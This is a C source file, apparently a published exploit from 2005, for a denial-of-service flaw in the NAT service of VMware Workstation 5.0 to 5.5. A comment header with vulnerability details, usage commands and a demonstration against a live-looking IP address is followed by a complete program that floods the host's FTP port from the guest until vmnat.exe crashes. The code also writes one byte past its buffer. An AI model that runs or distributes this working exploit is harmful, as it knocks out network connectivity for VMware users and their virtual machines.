/* [vmware.c] 26/10/05
**
** VMware NAT (Network Address Translation) Denial of Service
** **********************************************************
**  
** Author: posidron
**
** Vendor            : http://www.vmware.com/products/ws/
** Vulnerable Version: 5.0.0 <= 5.5
** Servity           : Low/Medium
** ----------------------------------------------------------
** Compilation
**   posidron@pandora:~$ gcc vmware.c -o vmware -Wall
** ----------------------------------------------------------
** Execution
**   posidron@pandora:~$ ./vmware -h <ip_host_os> -p 21
**   Connected.
**   AAAA....
**   Sended.
**   posidron@pandora:~$ 
** ----------------------------------------------------------
** Environment
**   Host Operating System : Microsoft Windows XP Version 5.1.2600 SP2
**   Guest Operating System: Debian Linux 2.6.8-2-686
**
** ----------------------------------------------------------
** Description
**   VMware Workstation is powerful desktop virtualization software for 
**   software developers, software testers, and enterprise IT professionals. 
**   Workstation allows users to run multiple x86-based operating systems, 
**   including Windows, Linux, NetWare, and Solaris x86, and their applications 
**   simultaneously on a single PC in fully networked, portable virtual 
**   machines — no rebooting or hard drive partitioning required.
** ----------------------------------------------------------
** Details
**   If an attacker has shell access to the guest operating system (VMware/*),
**   which means he can compile source code or transfer a binary from somewhere
**   else and on the Host operating system runs a FTP service, the attacker is 
**   able to crash the NAT (Network Address Translation) service and shutdown all
**   network connections and activities which are running on VMware.
**
**   This happens by sending to much send() requests in the same time to the FTP 
**   service with one single connection.
**
**   send(3, 0xbffffa00, 90, 0, 0x42424242)          = 90
**   send(3, 0xbffffa00, 90, 0, 0x42424242)          = 90
**   ...
**   ...
**
**   The user must not be logged in into the FTP server! The FTP service will 
**   reponse, that the sended string was not found as command or that the user
**   has not logged in. In this time the process will crash.
**
**   A quick demonstration with Windows XP Professional as host operating system
**   and Linux Debian as guest operating system. Regardless which FTP Server is
**   used on the host operating system. As request we use a string, 90 bytes long
**   and ending with "\n\0".
**
**   posidron@pandora:~$ ./vmware -h 80.131.152.163 -p 21
**   Connected.
**   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
**   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
**   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
**   <snip>
**   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
**   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
**   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
**   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
**   Sended.
**   posidron@pandora:~$ ping google.com
**   ping: unknown host google.com
**   posidron@pandora:~$
**
**   Windows reports as follows:
**
**   szAppName : vmnat.exe     szAppVer : 5.0.0.13124     szModName : ntdll.dll     
**   szModVer : 5.1.2600.2180     offset : 0001888f
**
**
**   To repair and build the NAT up again you must restart the service. On
**   VMware Wokstation 5.0 you can do that by select "Edit" over the menu
**   bar than "Virtual Network Settings" and chosse the NAT tab, there you
**   must click on "Restart" and "Apply".
**
*/

#define LENGTH 90 // add here more bytes, start=84
#define SCALLS 50 // add here more send() calls, start=20

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>

int tcp_connect(char *host, unsigned short port);
int send_buffer(int sock);

int main (int argc, char *argv[])
{
  int opt, sock;
  char *options = "h:p:";
  char *host;
  unsigned short port;

  while ((opt = getopt(argc, argv, options)) != -1)
  {
    switch (opt)
    {
      case 'h': host = optarg;       break;
      case 'p': port = atoi(optarg); break;
      default : printf("invalid option\n"); return -1;
    }
  }

  if ((sock = tcp_connect(host, port)) < 0)
    return -2;

  printf("Connected.\n");
  send_buffer(sock);
  printf("Sended.\n"); 
  sleep(2);
  close(sock);
  return 0;
}

int tcp_connect(char *host, unsigned short port)
{
  int sock;
  struct hostent *h;
  struct sockaddr_in sa;

  if((h = gethostbyname(host)) == NULL)
  {
    printf("error: gethostbyname()\n");
    return -1;
  }

  if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  {
    printf("error: socket()\n");
    return -2;
  }

  sa.sin_addr = *((struct in_addr*)h->h_addr);
  sa.sin_family = AF_INET;
  sa.sin_port = htons(port);

  if (connect(sock, (struct sockaddr*)&sa, sizeof (sa)) == -1)
  {
    close(sock);
    printf("error: connect()\n");
    return -3;
  }

  return sock;
}

int send_buffer(int sock)
{
  int x;
  char buffer[LENGTH];

  for (x = 0; x < SCALLS; x++)
  {
    memset(buffer, 'A', LENGTH);
    buffer[LENGTH-1] = '\n';
    buffer[LENGTH] = '\0';
    send(sock, buffer, strlen(buffer), 0);
    printf("%s", buffer);
  }

  return 0;
}
